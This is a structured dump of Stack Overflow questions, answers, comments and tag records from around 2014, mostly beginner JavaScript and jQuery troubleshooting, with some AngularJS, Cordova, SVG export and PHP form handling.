answers question: http://stackoverflow.com/q/25813494
has comment: http://stackoverflow.com/comment/40393316

http://stackoverflow.com/a/59407690
has body: body { margin: 0; /* Reset default margin */ } iframe { display: block; /* iframes are inline by default */ background: #000; border: none; /* Reset default border */ height: 100vh; /* Viewport-relative units */ width: 100vw; }
answers question: http://stackoverflow.com/q/25766131
score: 4
downvote count: 0
type: Answer
upvote count: 4

http://stackoverflow.com/q/25868421
type: Question
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/25868707
favorite count: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/25868702
has answer: http://stackoverflow.com/a/25868702
has title: TypeError in JavaScript function
has comment: http://stackoverflow.com/comment/40479912
accepted answer: http://stackoverflow.com/a/25868707
upvote count: 3
has comment: http://stackoverflow.com/comment/40479804
has body: I have some JavaScript code: var update_money = function(money_am){ var d = {'ammount': money_am}; $.post("/adr/", d, load_money) } z = parseFloat($('#money').val()); $('#money').change(z, update_money); When it executes, it gives me a runtime error: TypeError: 'stopPropagation' called on an object that does not implement interface Event. In debug, I found that money_am is not a float. It is an object. But if I change my code like this: var update_money = function(money_am){ var d = {'ammount': parseFloat($('#money').val())}; $.post("/adr/", d, load_money) } It works great. What should I do to fix this problem?
has comment: http://stackoverflow.com/comment/40480121
has comment: http://stackoverflow.com/comment/40480281
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: typeerror

http://stackoverflow.com/q/25843317
has answer: http://stackoverflow.com/a/25843734
tagged with: pageload
type: Question
has body: I have db query in my page which fetches a lot of data at time and shows it on the page. FYI, I can not use pagination. So I just want to show a loader image till the time the query fetches all the data and show on the UI. I have tried this code for example, but its not working, SELECT * FROM tbl_products; But its not working , still firefox show a blank white page while the page loads.I have tried with document.ready also, not working. I want the loader image to be shown , How it can be done, I think i am missing something .
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
has title: How to show a loader image while a page loads slowly
tagged with: coldfusion

http://stackoverflow.com/a/25772195
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25772194
answers question: http://stackoverflow.com/q/25772194
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40304134
downvote count: 0
has body: If you call getUsers without onComplete the value will be set to undefined. You can then check that case in your function. function getUsers(req, res, onComplete) { // Set onComplete to default call back if it is undefined onComplete = onComplete || function(msg){ res.json(msg) }; if (!req.session.session_id) { onComplete({error: true, msg: 'You are not logged in'}); } else { //Another similar code... } } See http://www.markhansen.co.nz/javascript-optional-parameters/ for more ways of doing this
score: 3
has comment: http://stackoverflow.com/comment/40304135
type: Answer

http://stackoverflow.com/q/25850043
has answer: http://stackoverflow.com/a/27174296
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/6157929
type: UnansweredQuestion
has body: I am using theJit as SpaceTree to visualize some information (Who'd guessed that...) Problem is, when users are panning the graph and dragging the mouse outside of the canvas jit doesn't recognizes it and keeps on dragging. When the user comes back into the area of the canvas it is still in drag-mode and keeps on panning. This behavior is also observable in their Space-Tree-Example. (Just to clarify - I am panning the whole graph; I am not dragging a node to some target location...) I can bind to $('#container').mouseleave() via jQuery, but how to I tell jit to stop dragging? (The mouseOver and mouseLeave handlers provided by jit (jit.Events.*) itself are bound to the individual nodes and thus not really helpful in this case) Anybody got an Idea? Cheers, Corelgott_
has title: Stop theJit dragging when mouse exits canvas
type: Question
tagged with: thejit
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40364522
comment on: http://stackoverflow.com/q/25804935
type: Comment
type: QuestionComment
has text: Look if [this helps](http://www.trirand.com/blog/?page_id=393/help/display-error-messages-returned-from-server)
score: 0

http://stackoverflow.com/a/25751178
accepted answer of: http://stackoverflow.com/q/25750563
has body: Lookes like you have a typo in your controller. You need to bind the createPerson function to the $scope var demoApp=angular.module('demoApp',['ngRoute']); demoApp.controller('Controller1', function ($scope,$http) { console.log("In controller"); var urlBase="http://localhost:8080/SpringAngularMaven/"; $http.defaults.headers.post["Content-Type"] = "application/x-www-form-urlencoded"; //Changed from $http.createPerson to $scope.createPerson $scope.createPerson = function() { $http.get('http://localhost:8080/SpringAngularMaven/rest/emp/dummy'). success(function(data) { $scope.tasks = data; console.log(data); $scope.newUserId = data; }); };
upvote count: 1
has comment: http://stackoverflow.com/comment/40267802
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/25750563

http://stackoverflow.com/q/25774643
downvote count: 0
tagged with: javascript
answer count: 1
accepted answer: http://stackoverflow.com/a/25774931
favorite count: 0
has title: Update new color in Color Picker Palette
type: AnsweredQuestion
score: 3
upvote count: 3
has body: I installed a jQuery plugin Color picker: colpick.js and I don't know how to set the new color for circle icon in color palette (after refresh the page the element's bg is changed but the circle icon in palette still is in the default color area color:'003a7d .it is not updating.)(However,color picker and cookie are working well.) This is my code: html : &lt;div id="picker"&gt;&lt;/div&gt; JS : if($.cookie('body_color')) { $('body,.livebgchanger ul li a').css('background-color', $.cookie('body_color')); } else { $('body,.livebgchanger ul li a').css('background-color', '#003a7d'); } $('#picker').colpick({ flat:true, submit:0, layout:'full', color:'003a7d', //default color onChange:function(hsb,hex,rgb,el){ $('body,.livebgchanger ul li a').css('background-color', '#' + hex); $.cookie('body_color', '#' + hex, { expires: 365 }); } }); Before (I choose a new color and "body" background-color has changed) : click to view image After Refresh the page: (body background color has changed but circle icon and color in palette is in the default color area) enter link description here How can I add this option and set new color for circle icon in palette ? sorry for my english. thanks
has answer: http://stackoverflow.com/a/25774931
type: Question

http://stackoverflow.com/q/25785998
upvote count: 3
has title: Issue Textpath svg to png
has answer: http://stackoverflow.com/a/25789337
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/28776714
tagged with: export
favorite count: 0
has body: I'm working on an SVG graphic export (with d3.js library) to PNG. The problem is the label textPath. When exporting to PNG, the text does not appear. Does anyone know if there is solution for this problem? The code I'm using to do the conversion is: var svgString = new XMLSerializer().serializeToString(document.querySelector('#svg')); var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); var DOMURL = self.URL || self.webkitURL || self; var img = new Image(); var svg = new Blob([svgString], {type: "image/svg+xml;charset=utf-8"}); var url = DOMURL.createObjectURL(svg); img.onload = function() { ctx.drawImage(img, 0, 0); var png = canvas.toDataURL("image/png"); var a = document.createElement("a"); a.download = "grafico.png"; a.href = png; a.click(); DOMURL.revokeObjectURL(png); }; img.src = url; Thank you very much to all. A greeting, Sonia
tagged with: http://stackoverflow.com/tag/svg
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/png
score: 3

http://stackoverflow.com/comment/40250490
type: QuestionComment
comment on: http://stackoverflow.com/q/25742315
score: 1
has text: Create a new method (say `public ActionResult Chart(GUID id) {..`) that returns a `partialview` containing only the data you want to replace.
type: Comment

http://stackoverflow.com/q/25777035
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25777348
upvote count: 1
downvote count: 1
has body: I have a client who wants me to send him a script to put on his site. Is there a way to inject the script into the page on my browser for testing purposes to make sure it works? Thanks for any help.
has comment: http://stackoverflow.com/comment/40313722
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40314094
has comment: http://stackoverflow.com/comment/40313747
score: 0
has title: Is there a way to run JavaScript on a page I can't access?
answer count: 2
has comment: http://stackoverflow.com/comment/40313773
favorite count: 0
possible better answer: http://stackoverflow.com/a/25777156
has answer: http://stackoverflow.com/a/25777156
has answer: http://stackoverflow.com/a/25777348

http://stackoverflow.com/a/25780559
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25780280
has body: Try calling it like this $.ajax({ type: 'GET', url: "&lt;%=request.getContextPath()%&gt;/manageUsers.do", cache: false, data:{ "resultType": "json", "submit": $.i18n.prop('esadmin.manage.users.delete-btn'), "OID": oid }, invokedata: { "OID": oid, "username": username }, contentType: "application/json", dataType: "json", success: deleteUserSuccess, error: deleteUserError });

http://stackoverflow.com/a/25852226
score: 1
has body: Inject $q service, and use it this way: $q.all( [ CourseResource.query(), CurriculumResource.query(), GroupResource.query() ] ).then(function(response) { $scope.courses = response[0]; $scope.curriculum = response[1]; $scope.groups = response[2]; // do what you need to do when all data is available }); Also, you need to make sure your services are returning $q deferreds, all request returned by $http are deferred so you can return them, but maybe you want to wrap it to process the results (for example to extract the important info, o to preprocess data with model logic): ... query: function() { return $http.get("...url...").then(function(response) { //process response here before return it }); // of course, the use of .then is optional } ...
upvote count: 1
answers question: http://stackoverflow.com/q/25852075
type: Answer
downvote count: 0

http://stackoverflow.com/a/25830097
answers question: http://stackoverflow.com/q/25829781
has comment: http://stackoverflow.com/comment/40421273
score: 2
upvote count: 3
has comment: http://stackoverflow.com/comment/40411098
downvote count: 1
has body: UPDATED Not an AngularJS bug. See top of question for update to all of this. OK, so thanks to @PSL (see comment on question), I'm made aware that this is a known behavior with Angular. I see no valid reason for this behavior to be tolerated. I think Angular should fix this and have left a comment in github telling them so. I leave this answer here in case anyone else is tripped up by this, although I refuse to mark it as accepted as I don't accept the premise that this is proper behavior. Hopefully, some future release will fix this problem and someone can add a proper answer here that can be accepted.
has comment: http://stackoverflow.com/comment/40410768
has comment: http://stackoverflow.com/comment/40415349
type: Answer

http://stackoverflow.com/a/25812835
has body: Just apply the negation of this.checked $('#checkAll').change(function () { $('input:checkbox').not(this).prop('checked', !this.checked); }); Demo
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25812750
score: 1
answers question: http://stackoverflow.com/q/25812750
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25756484
possible better answer: http://stackoverflow.com/a/25756627
accepted answer: http://stackoverflow.com/a/25756997
type: AnsweredQuestion
has title: How can I transform values inside a function onClick?
tagged with: onclick
has body: Basically, I've imported a WebGL globe and want to make it stop spinning when I click on the globe. Here's my attempt at making it stop: setInterval(function() { var c = earth.getPosition(); earth.setCenter([c[0], c[1] + 0.9]); earth.onclick.setCenter({c[0], c[1]); }, 50); Basically I want to get rid of the +0.9 onClick. If it helps, also adding the function with the earth object below: &lt;script src="http://www.webglearth.com/v2/api.js"&gt;&lt;/script&gt; &lt;script&gt; function initialize() { var options = {atmosphere: true, center: [0, 0], zoom: 0}; var earth = new WE.map('earth_div', options); WE.tileLayer('http://otile{s}.mqcdn.com/tiles/1.0.0/sat/{z}/{x}/{y}.jpg', { subdomains: '1234', attribution: 'Tiles Courtesy of MapQuest' }).addTo(earth); &lt;/script&gt; I'm guessing my syntax isn't correct with the .onclick. What should it be instead?
score: 1
tagged with: webgl
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25756997
answer count: 2
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25756627
upvote count: 1

http://stackoverflow.com/comment/40501185
type: Comment
comment on: http://stackoverflow.com/a/25873254
score: 1
type: AnswerComment
has text: It would be nice, but I have no immediate plans - it's an enormous area in its own right and a lot of people are already doing a great job. If you want a great open-source mapping library I recommend Leaflet.

http://stackoverflow.com/a/25863577
answers question: http://stackoverflow.com/q/25837744
upvote count: 1
type: Answer
downvote count: 0
score: 1
has body: Modern CSS has a special module for such tasks: CSS Shapes. There is a polyfill for it created by Adobe. Maybe it helps?
has comment: http://stackoverflow.com/comment/40471375

http://stackoverflow.com/q/25852695
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40452138
tagged with: cordova
tagged with: android
tagged with: local-storage
type: AnsweredQuestion
upvote count: 0
accepted answer: http://stackoverflow.com/a/25852829
has comment: http://stackoverflow.com/comment/40452080
has comment: http://stackoverflow.com/comment/40451422
downvote count: 1
type: Question
has title: Javascript - html local storage - Store and recall text input as a variable
has body: This is the basic structure of my html page. Clicking the rememberer , stores the data in input text box to local storage as a string. Clicking recaller, loads the stored data onto recalledtext. I am developing this to be used in Phone Gap. remember text recall text Loading The code is as follows function myfunction1(){ //remember code var texttosave = document.getElementById('textline').innerHTML ; localStorage.mynumber = texttosave; } function myfunction2(){ //recall code document.getElementById('recalledtext').innerHTML = localStorage.mynumber; } I am confused why this code is not functioning. Also I need to know can I use this code alone without using phoneGap APIs to store data that can be recalled even after the session is closed and opened later on. Please share your experiences.
has answer: http://stackoverflow.com/a/25852829
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40451394
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25781105
has body: Use selector for textarea with .length property: $('.fieldset_div textarea').length
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/40320629
downvote count: 0
has comment: http://stackoverflow.com/comment/40320567
answers question: http://stackoverflow.com/q/25781072
has comment: http://stackoverflow.com/comment/40320618
type: Answer
has comment: http://stackoverflow.com/comment/40320552

http://stackoverflow.com/comment/40347600
type: AnswerComment
comment on: http://stackoverflow.com/a/25794782
score: 0
type: Comment
has text: Sorry the first one was an example, you would have to do that with both, but I didn't want to present a final solution until I had worked out a way to reproduce and test your question and my suggested answer. Maybe a cleaner approach would be to disable it globally.

http://stackoverflow.com/q/25854378
has title: Save form data to local storage with JavaScript in a Phonegap application
tagged with: cordova
has answer: http://stackoverflow.com/a/25855643
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40454448
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25854874
tagged with: forms
has comment: http://stackoverflow.com/comment/40454703
accepted answer: http://stackoverflow.com/a/25855643
type: Question
possible better answer: http://stackoverflow.com/a/25854874
answer count: 2
has body: I have a simple form that I would like to accept data with and store each input as a local storage variable used as a one time setup. Here is my current JavaScript and HTML form: I have also tried document.getElementById("setPayDayDate").value(); if you think the syntax is incorrect. Date of pay day: Monthly takehome: Savings target: I also assume that since I haven't set a method or action that the page will just refresh but the localstorage variables will have been set? I do have divs that are meant to display the newly set variables but they still appear empty after the form submission. Is there some kind of common practice im missing? Any advice is appreciated, thanks. Update There are no messages/errors in the console log
has comment: http://stackoverflow.com/comment/40454491
has comment: http://stackoverflow.com/comment/40454261
tagged with: javascript
score: 0

http://stackoverflow.com/q/25758276
has comment: http://stackoverflow.com/comment/40279201
has title: How put form field value into "url" of getJSON
has comment: http://stackoverflow.com/comment/40279695
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40279237
has comment: http://stackoverflow.com/comment/40279178
downvote count: 2
has comment: http://stackoverflow.com/comment/40279488
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40279989
has comment: http://stackoverflow.com/comment/40279311
type: Question
has answer: http://stackoverflow.com/a/25759013
upvote count: 0
score: -2
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: ajax
has body: HTML &lt;input type="text" id="txt" /&gt; &lt;span id="results"&gt;&lt;/span&gt; jQuery: $(document).ready(function() { $('#txt').change(function(){ var miasto = $("#txt").val(); $.ajax({ url: "https://maps.googleapis.com/maps/api/geocode/json?components=locality:" + miasto + "|country:PL&amp;key=AIzaSyB0Yn_8C4os4dRBhEs1nSVXx1TbmolDl3k&amp;sensor=false", dataType: "html", success: function(data) { var zcity = $("#txt").val(); var json = $.parseJSON(data); $('#results').html('&lt;br /&gt;City: ' + json.results[0].address_components[0].long_name + '&lt;br /&gt;Kraj: ' + json.results[0].address_components[4].short_name + '&lt;br /&gt; Input Value: ' + zcity); } }); }); }); With this code I need entered value of INPUT, put into a URL value of "$.ajax" section. What did I do wrong? When I remove line var miasto = $("#txt").val(); and instead + miasto + enter a single word (ex. Warszawa), all works fine and the change event of input #txt print the results of Ajax call How put entered value to input into "url:" value in jQuery code?
has comment: http://stackoverflow.com/comment/40279587
has comment: http://stackoverflow.com/comment/40279117
favorite count: 0

http://stackoverflow.com/comment/40421365
score: 1
comment on: http://stackoverflow.com/q/25836113
has text: Logan - Please stop editing your question and destroying the formatting!
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25801720
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25801932
accepted answer: http://stackoverflow.com/a/25801810
type: Question
has title: setInterval doesnt tigger inner script on first time run
tagged with: setinterval
score: 0
answer count: 3
has body: Maybe I'm not properly understanding setInterval but I have made a kind of slideshow script, as below: var i = 0; setInterval(function() { $('.slide').fadeOut('slow').delay(200); $('.slide:eq(' + i + ')').fadeIn('slow').delay(2000); i++; if(i == 5){ i = 0; } }, 4000); This works, except for the first run - no slides will display for the first 4 seconds. See Fiddle here: http://jsfiddle.net/vpa89snf/6/ Is there anyway I can trigger whats inside the setInterval function when it runs the first time round?
has answer: http://stackoverflow.com/a/25801810
has comment: http://stackoverflow.com/comment/40358604
has answer: http://stackoverflow.com/a/25801939
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40358946
possible better answer: http://stackoverflow.com/a/25801932

http://stackoverflow.com/comment/40266707
comment on: http://stackoverflow.com/q/25751290
has text: Just to clarify, are you trying to track usage stats for your widget while it's running on other people's sites?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40339052
has text: Thanking to your help I found some: <fb:login-button id="buttonLogin" scope="public_profile,email,user_likes" onlogin="checkLoginState();"></fb:login-button>. So I add user_likes to user's scope. Am I correct? Looks like what I need.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25788135

http://stackoverflow.com/comment/40428786
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25839975
has text: There's no backslash in it. it's just `d`, not `\d`.

http://stackoverflow.com/comment/40505207
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25860317
has text: And if you don't want users going directly to `http://www.something.com/Common/WebPage/default.aspx`, then in the page load event you can check if the url is the full one and redirect as follows `If Request.Url.AbsolutePath.Contains("default.aspx") Then Response.Redirect("http://www.something.com")`
score: 0

http://stackoverflow.com/q/25810225
downvote count: 0
has comment: http://stackoverflow.com/comment/40373266
tagged with: javascript
tagged with: webbrowser-control
favorite count: 0
tagged with: winforms
has title: Performance issue in webbrowser c#
linked to: http://stackoverflow.com/q/9891879
has body: I have an winform application that read some text from a website. and make a html of that and display on a webpage control .The html consist of a javascript function(Timer) which move these text 1 by 1 pixel.The interval of the timer is user defined (1 to 100 milisecond).webbrowser control scroll the text as excepted till the interval is 15 milisec. if i decrease the interval it the speed of the text keeps constant. BUT when i play the same in the InternetExplorer then there lots of changes in the speed 1 milisecond timer behaves like 15 milisecond timer. please help me to resolve this.
tagged with: timer
answer count: 0
type: UnansweredQuestion
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40508372
has comment: http://stackoverflow.com/comment/40373330
type: Question
tagged with: c#
has comment: http://stackoverflow.com/comment/40508477
has comment: http://stackoverflow.com/comment/40524494

http://stackoverflow.com/q/25722436
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40212464
score: 0
has comment: http://stackoverflow.com/comment/40215592
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40213118
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40212529
has comment: http://stackoverflow.com/comment/40213073
has body: I have a parent div which is draggable, in this parent div i have another div which is also draggable. When i am dragging child div parent div also drag. Problem:- How I drag child div in parent div without moving parent div. For example:- &lt;div id="parent"&gt; &lt;div id="child"&gt; abc &lt;/div&gt; &lt;/div&gt; $( "#parent" ).draggable({ }); $( "#child" ).draggable({ containment: "#parent"});
has comment: http://stackoverflow.com/comment/40212578
tagged with: jquery-ui
has comment: http://stackoverflow.com/comment/40214807
has comment: http://stackoverflow.com/comment/40215264
type: Question
has comment: http://stackoverflow.com/comment/40214957
has title: Parent div also drag when child div drag
has comment: http://stackoverflow.com/comment/40214460
has answer: http://stackoverflow.com/a/25722514
has comment: http://stackoverflow.com/comment/40214544

http://stackoverflow.com/comment/40484487
comment on: http://stackoverflow.com/q/25870572
score: 0
type: Comment
type: QuestionComment
has text: @Andy that's your preference which many don't agree with though.

http://stackoverflow.com/comment/40333865
has text: @Ben I don't see any `setTimeout` in my code. PS. It's Tiborg.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25787530
score: 0

http://stackoverflow.com/a/25790376
type: Answer
has body: When I want to debug this kind of thing I often use a window.MyController = MyController. Then in the console I can save window.MyController and play around with it. It looks like it will show the objects it's listeningTo but I'm not necessarily seeing what events it's tied to in this fashion. Anyway might be a look see. I'm also using Chrome so Firebug in Mozilla might give better info.
score: 0
answers question: http://stackoverflow.com/q/25781279

http://stackoverflow.com/comment/40392666
comment on: http://stackoverflow.com/a/25816395
score: 1
type: AnswerComment
type: Comment
has text: The "System Console" also appears to be called the "Native Console" in some MDN docs. On Windows the properties are selected by a right-click on the window title-bar -->properties. You then want the "Layout" tab. You probably also want to change the font under the "Font" tab.

http://stackoverflow.com/q/25810068
has comment: http://stackoverflow.com/comment/40373129
accepted answer: http://stackoverflow.com/a/25810118
has answer: http://stackoverflow.com/a/25810228
favorite count: 0
has comment: http://stackoverflow.com/comment/40372881
answer count: 9
has comment: http://stackoverflow.com/comment/40372845
has comment: http://stackoverflow.com/comment/40372892
type: AnsweredQuestion
upvote count: 2
downvote count: 2
has answer: http://stackoverflow.com/a/25810139
has body: if (lookfor.done == '1') { lookfor.done = '0'; } else if (lookfor.done == '0'){ lookfor.done = '1'; } How would I write a cleaner shorthand of the above in javascript?
has answer: http://stackoverflow.com/a/25810437
has answer: http://stackoverflow.com/a/25810118
has comment: http://stackoverflow.com/comment/40373398
has answer: http://stackoverflow.com/a/25810615
has answer: http://stackoverflow.com/a/25810141
has title: Shorthand javascript if else statement
has answer: http://stackoverflow.com/a/25810125
type: Question
possible better answer: http://stackoverflow.com/a/25810218
tagged with: javascript
has answer: http://stackoverflow.com/a/25810218
score: 0
has answer: http://stackoverflow.com/a/25810250

http://stackoverflow.com/comment/40405524
score: 1
has text: I confirm this issue. Incorrect pixel counting with zoomed DPI. Did you file a bug? You may be able to work around this bug using javascript and `availHeight`, but that won't account for the top position of the window.
comment on: http://stackoverflow.com/q/25819887
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25844019
upvote count: 1
type: Question
type: AnsweredQuestion
score: 1
has body: I am following node.js tutorials on learnyounode, the "HTTP CLIENT" section. The code that is proposed as solution is: var http = require('http') http.get(process.argv[2], function (response) { response.setEncoding('utf8') response.on('data', console.log) response.on('error', console.error) }) but executing this with node gives me events.js:72 throw er; // Unhandled 'error' event my working solution is this one: var http = require('http') http.get(process.argv[2], function (response) { response.setEncoding('utf8'); response.on('data', console.log); }).on('error', console.error); that means that the Object response is not a http.ClientRequest ?
answer count: 1
downvote count: 0
has title: Node.js tutorial, Http Server handling errors
tagged with: javascript
favorite count: 0
tagged with: node.js
has answer: http://stackoverflow.com/a/25846097
accepted answer: http://stackoverflow.com/a/25846097
tagged with: error-handling

http://stackoverflow.com/comment/40394783
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25821479
type: Comment
has text: Cool, I have found few articles about metadata for taxonomies. It might be the way. Now I just need to find somewhere how to exactly write code printing "author's user id" into taxonomy term (item) when it is created.

http://stackoverflow.com/a/25841844
has body: I suppose that problem is in document.ready(). Try this instead: $(function() { $('body').prepend(' Test '); });
answers question: http://stackoverflow.com/q/25841616
has comment: http://stackoverflow.com/comment/40432263
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40432297
has comment: http://stackoverflow.com/comment/40432242
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40432079

http://stackoverflow.com/q/25741293
type: Question
has answer: http://stackoverflow.com/a/25741484
tagged with: php
has answer: http://stackoverflow.com/a/25742042
score: 0
tagged with: codeigniter
has title: Student is Already Exist Validation for Enrollment System (Codeigniter)
tagged with: javascript
type: UnansweredQuestion
answer count: 2
tagged with: sql
tagged with: validation
has body: i'm newbie in coding, and i need some help how to make a validation in adding student and it will prompt the student is already exist, i have a sample codes here to create student and update. but i dont know how to validate it if the student is already exist when i add a student with the same full name. and i need to validate my email too if the email si already exist.. Thank you in advance.. hope you help me a lot.. :D function student($param1 = '', $param2 = '', $param3 = '') { if ($this-&gt;session-&gt;userdata('admin_login') != 1) redirect('login', 'refresh'); if ($param1 == 'create') { $data['name'] = $this-&gt;input-&gt;post('name'); $data['birthday'] = $this-&gt;input-&gt;post('birthday'); $data['sex'] = $this-&gt;input-&gt;post('sex'); $data['address'] = $this-&gt;input-&gt;post('address'); $data['phone'] = $this-&gt;input-&gt;post('phone'); $data['email'] = $this-&gt;input-&gt;post('email'); $data['password'] = md5($this-&gt;input-&gt;post('password')); $data['father_name'] = $this-&gt;input-&gt;post('father_name'); $data['mother_name'] = $this-&gt;input-&gt;post('mother_name'); $data['class_id'] = $this-&gt;input-&gt;post('class_id'); $data['roll'] = $this-&gt;input-&gt;post('roll'); $this-&gt;db-&gt;insert('student', $data); $student_id = mysql_insert_id(); move_uploaded_file($_FILES['userfile']['tmp_name'], 'uploads/student_image/' . $student_id . '.jpg'); $this-&gt;email_model-&gt;account_opening_email('student', $data['email']); //SEND EMAIL ACCOUNT OPENING EMAIL $this-&gt;session-&gt;set_flashdata('flash_message', get_phrase('add_student_success')); redirect(base_url() . 'index.php?admin/student/' . $data['class_id'], 'refresh'); } if ($param2 == 'do_update') { $data['name'] = $this-&gt;input-&gt;post('name'); $data['birthday'] = $this-&gt;input-&gt;post('birthday'); $data['sex'] = $this-&gt;input-&gt;post('sex'); $data['address'] = $this-&gt;input-&gt;post('address'); $data['phone'] = $this-&gt;input-&gt;post('phone'); $data['email'] = $this-&gt;inpu…
has comment: http://stackoverflow.com/comment/40248057

http://stackoverflow.com/q/25759259
has title: Restrict Textbox from enter numbers from 2 to 998 not working
type: UnansweredQuestion
type: Question
has body: I have a textbox like the follows; &lt;input type="text" id="rankId" onkeypress="return validate(event)"/&gt; It should only accept values from 2 to 998. I have write a function like that; function validate(key) { //getting key code of pressed key var keycode = (key.which) ? key.which : key.keyCode; var phn = document.getElementById('rankId'); //comparing pressed keycodes if (!(keycode==8 || keycode==46)&amp;&amp;(keycode &lt; 48 || keycode &gt; 57)) { return false; } else { //Condition to check textbox contains 3 numbers or not if (phn.value.length &lt;3) { return true; } else { return false; } } } The function is working for numbers only and 3 numbers restrictions. How can I restrict it to numbers from 2 to 998? Please help.
has answer: http://stackoverflow.com/a/25759347
tagged with: javascript
has answer: http://stackoverflow.com/a/25759310
score: 0
answer count: 2

http://stackoverflow.com/comment/40349672
score: 0
comment on: http://stackoverflow.com/q/25792323
type: Comment
type: QuestionComment
has text: @charlietfl - originally I had loaded the script once on the main page. In my answer below these are split out.

http://stackoverflow.com/comment/40330031
comment on: http://stackoverflow.com/q/25786207
has text: You didn't miss anything. It's not needed. Bad coding IMHO.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/25785304
accepted answer of: http://stackoverflow.com/q/25784300
type: Answer
answers question: http://stackoverflow.com/q/25784300
has body: You could use a function to filter the params object. This one receives a list of params/properties you want to filter and the src object to filter from: var filterParams = function(params, src) { var result = {}; angular.forEach(params, function(p) { if (angular.isDefined(src[p])) { result[p] = src[p]; } }); return result; }; And then use it like this: $http.get(some url, { params: filterParams(['from', 'to', 'description'], params) }) .success(function (data,status) { $scope.info_show = data });
score: 0
type: AcceptedAnswer

embed
tags question: http://stackoverflow.com/q/25840460
tags question: http://stackoverflow.com/q/25753174
tags question: http://stackoverflow.com/q/25716169
tags question: http://stackoverflow.com/q/25726106
tags question: http://stackoverflow.com/q/25838618
tags question: http://stackoverflow.com/q/25854872
tag name: embed
type: Tag

http://stackoverflow.com/comment/40344262
type: Comment
type: QuestionComment
has text: `var aWord = str.split(',')[0].split(' ').pop()` like this.
comment on: http://stackoverflow.com/q/25793833
score: 1

http://stackoverflow.com/comment/40432828
type: QuestionComment
has text: thanks a lot dude! i can already print the value in the text area, but i get this error " Notice: Undefined index: source1 in C:\xampp\htdocs\backEnd\ROOMS.php on line 3" whenever i use this code in my php side <?php $src1= $_POST['source1']; echo $src1; ?>
comment on: http://stackoverflow.com/q/25821401
score: 0
type: Comment

http://stackoverflow.com/comment/40260172
comment on: http://stackoverflow.com/q/25747934
score: 0
type: Comment
type: QuestionComment
has text: My recommendation: Don't try to simulate something that the language does not support. Keep it simple. It makes the code: easier to understand and easier to maintain.

http://stackoverflow.com/comment/40262914
score: 0
type: Comment
has text: when I then in chat.js access Hello, it is a new (empty) instance. Basically, I want the Hello instance created in login.html/hello.js to persist when I load chat.html/chat.js
comment on: http://stackoverflow.com/a/25717191
type: AnswerComment

http://stackoverflow.com/comment/40309240
type: QuestionComment
comment on: http://stackoverflow.com/q/25774687
has text: `cond1 ? expr1 : (cond2 ? expr2 : expr3);` (parentheses not necessary in this case).
score: 0
type: Comment

http://stackoverflow.com/q/25739413
accepted answer: http://stackoverflow.com/a/25739481
tagged with: javascript
tagged with: jquery
upvote count: 2
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40244625
has title: Jquery & javascript - function result, as property name
favorite count: 0
has body: I'd like to get an input name, as a property name, using jquery. The html &lt;input name="data[First][Second]" /&gt; The script $.post( '/url', { $("input").prop("name"): $("input").val() } ); how can it be done (directly)?
linked to: http://stackoverflow.com/q/25739870
score: 2
type: AnsweredQuestion
type: Question
tagged with: object
has answer: http://stackoverflow.com/a/25739481

cordova
tags question: http://stackoverflow.com/q/25748518
tags question: http://stackoverflow.com/q/25851886
tags question: http://stackoverflow.com/q/25791343
tags question: http://stackoverflow.com/q/25809982
tags question: http://stackoverflow.com/q/25802412
tags question: http://stackoverflow.com/q/25817832
tags question: http://stackoverflow.com/q/25842618
tags question: http://stackoverflow.com/q/25737728
tags question: http://stackoverflow.com/q/25750561
tags question: http://stackoverflow.com/q/25736097
tags question: http://stackoverflow.com/q/25737931
tags question: http://stackoverflow.com/q/25725303
tags question: http://stackoverflow.com/q/25865993
tags question: http://stackoverflow.com/q/25717729
tags question: http://stackoverflow.com/q/25743364
